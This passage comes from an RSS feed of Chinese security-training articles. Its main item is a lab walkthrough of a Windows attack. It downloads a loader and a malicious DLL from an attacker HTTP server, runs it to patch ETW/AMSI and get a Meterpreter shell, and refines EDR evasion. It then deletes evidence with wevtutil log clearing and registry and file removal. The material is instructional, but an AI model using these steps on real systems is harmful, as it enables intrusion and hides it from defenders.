0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">网络边界防护</span></strong></p><pre style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;color: rgb(30, 107, 184);line-height: 1.8em;letter-spacing: 0em;width: auto;margin: 0px 2px;padding: 15px 4px 2px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);overflow-wrap: break-word;word-break: break-all;background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 配置Windows防火墙</span><span leaf=""><br/></span><span leaf=""># 启用防火墙</span><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="153"></mp-pay-preview-filter></p></code></pre></div></li></ol></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8b702409&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496654%26idx%3D1%26sn%3D19fe299cf608358fedeb23581cd4f1a9">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 18 Apr 2026 20:01:00 +0800</pubDate>
    </item>
    <item>
      <title>综合实战演练（下）——攻击实施与结果分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496653&amp;idx=1&amp;sn=d570924e7fdc36ed2c3b5a82ee780c71</link>
      <description>一、前言概述本课将继续综合实战演练，包括攻击实施、EDR反应分析、攻击痕迹清理和实验报告撰写，通过实践，将能够</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-17 08:32</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0c358d5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FM5H82XuSHY7JicNQpcIj9yjLUBkicwXWPmaTtadr59UgPQ3y4f2yt8nxshwgEdEXjxAr6dTuTIWLGoKp7ofrwibpTtpQbTw7e2lxM4BoBaiajbo%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">本课将继续综合实战演练，包括攻击实施、EDR反应分析、攻击痕迹清理和实验报告撰写，通过实践，将能够理解攻击与防御的对抗关系。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 攻击实施与监控</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1.1 部署恶意文件</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">步骤1：传输恶意文件到靶机</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 在攻击机上启动HTTP服务器</span></span><span leaf=""><br/></span><span leaf="">python3 -m http.server 8080</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 在靶机上下载文件</span></span><span leaf=""><br/></span><span leaf="">Invoke-WebRequest -Uri </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="http://192.168.1.100:8080/loader.exe" target="_blank">http://192.168.1.100:8080/loader.exe</a>&#34;</span></span><span leaf=""> -OutFile </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;C:\loader.exe&#34;</span></span><span leaf=""><br/></span><span leaf="">Invoke-WebRequest -Uri </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="http://192.168.1.100:8080/malicious.dll" target="_blank">http://192.168.1.100:8080/malicious.dll</a>&#34;</span></span><span leaf=""> -OutFile </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;C:\malicious.dll&#34;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">步骤2：启动监控工具</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">在靶机上启动：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">Process Monitor：监控进程、文件、注册表活动</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">x64dbg：调试恶意程序</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">EDR控制台：查看EDR状态和告警</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1.2 执行攻击</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">步骤1：执行加载器</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">C:\loader.exe</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">步骤2：观察行为</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">在Process Monitor中观察：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">rundll32.exe进程创建</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">malicious.dll加载</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">ETW/AMSI Patch操作</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">Shellcode执行</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">步骤3：检查EDR状态</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">在EDR控制台中检查：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">是否有告警</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">是否检测到恶意行为</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">进程是否被阻止</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1.3 获得Shell</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">在攻击机上：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">meterpreter &gt; sysinfo</span><span leaf=""><br/></span><span leaf="">Computer        : DESKTOP-XXXXXXX</span><span leaf=""><br/></span><span leaf="">OS              : Windows 10 (10.0 Build 19044).</span><span leaf=""><br/></span><span leaf="">Architecture    : x64</span><span leaf=""><br/></span><span leaf="">System Language : en_US</span><span leaf=""><br/></span><span leaf="">Meterpreter     : x64/windows</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 EDR反应分析</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.1 分析EDR检测</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">检查EDR日志：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 查看Windows Defender检测历史</span><span leaf=""><br/></span><span leaf="">Get-MpThreatDetection</span><span leaf=""><br/></span><span leaf=""># 查看Windows Defender事件</span><span leaf=""><br/></span><span leaf="">Get-WinEvent -LogName &#34;Microsoft-Windows-Windows Defender/Operational&#34; | Where-Object {$_.Id -eq 1116}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">分析检测结果：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">如果没有检测：说明绕过成功</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">如果有检测：分析检测原因，改进技术</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.2 分析进程行为</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">使用Process Monitor分析：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">1. 过滤rundll32.exe进程</span><span leaf=""><br/></span><span leaf="">2. 查看文件操作</span><span leaf=""><br/></span><span leaf="">3. 查看注册表操作</span><span leaf=""><br/></span><span leaf="">4. 查看网络连接</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">使用x64dbg分析：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">1. 附加到rundll32.exe进程</span><span leaf=""><br/></span><span leaf="">2. 在DllMain设置断点</span><span leaf=""><br/></span><span leaf="">3. 单步执行，观察行为</span><span leaf=""><br/></span><span leaf="">4. 检查ETW/AMSI是否被Patch</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.3 改进攻击</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">如果被检测：</span></strong></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">分析检测原因</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">改进技术：</span></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">使用更隐蔽的加载方式</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">增强Shellcode混淆</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">使用不同的绕过技术</span></p></li></ul></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">如果未被检测：</span></strong></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">记录成功的技术组合</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">尝试其他EDR产品</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">测试不同Windows版本</span></p></li></ol><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 攻击痕迹清理</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.1 清理文件</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 删除恶意文件</span><span leaf=""><br/></span><span leaf="">Remove-Item &#34;C:\loader.exe&#34; -Force</span><span leaf=""><br/></span><span leaf="">Remove-Item &#34;C:\malicious.dll&#34; -Force</span><span leaf=""><br/></span><span leaf=""># 清理下载历史</span><span leaf=""><br/></span><span leaf="">Remove-Item &#34;C:\Users\*\Downloads\*&#34; -Force</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.2 清理注册表</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 删除持久化注册表项</span><span leaf=""><br/></span><span leaf="">Remove-Item &#34;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Malicious&#34; -Force</span><span leaf=""><br/></span><span leaf=""># 清理其他痕迹</span><span leaf=""><br/></span><span leaf="">Remove-Item &#34;HKCU:\Software\Classes\ms-settings&#34; -Recurse -Force</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.3 清理事件日志</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 清理PowerShell历史</span><span leaf=""><br/></span><span leaf="">Clear-History</span><span leaf=""><br/></span><span leaf=""># 清理事件日志（需要管理员权限）</span><span leaf=""><br/></span><span leaf="">wevtutil cl &#34;Windows PowerShell&#34;</span><span leaf=""><br/></span><span leaf="">wevtutil cl &#34;Microsoft-Windows-PowerShell/Operational&#34;</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.4 清理网络痕迹</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 清理DNS缓存</span><span leaf=""><br/></span><span leaf="">ipconfig /flushdns</span><span leaf=""><br/></span><span leaf=""># 清理ARP缓存</span><span leaf=""><br/></span><span leaf="">netsh interface ip delete arpcache</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4 实验报告撰写</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4.1 报告结构</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">1. 实验概述</span><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="101"></mp-pay-preview-filter></p></code></pre></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=43b5250a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496653%26idx%3D1%26sn%3Dd570924e7fdc36ed2c3b5a82ee780c71">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 17 Apr 2026 08:32:00 +0800</pubDate>
    </item>
    <item>
      <title>综合实战演练（上）——环境搭建与攻击设计</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496652&amp;idx=1&amp;sn=50f2801f6bb0cbcbf119593b05c108ca</link>
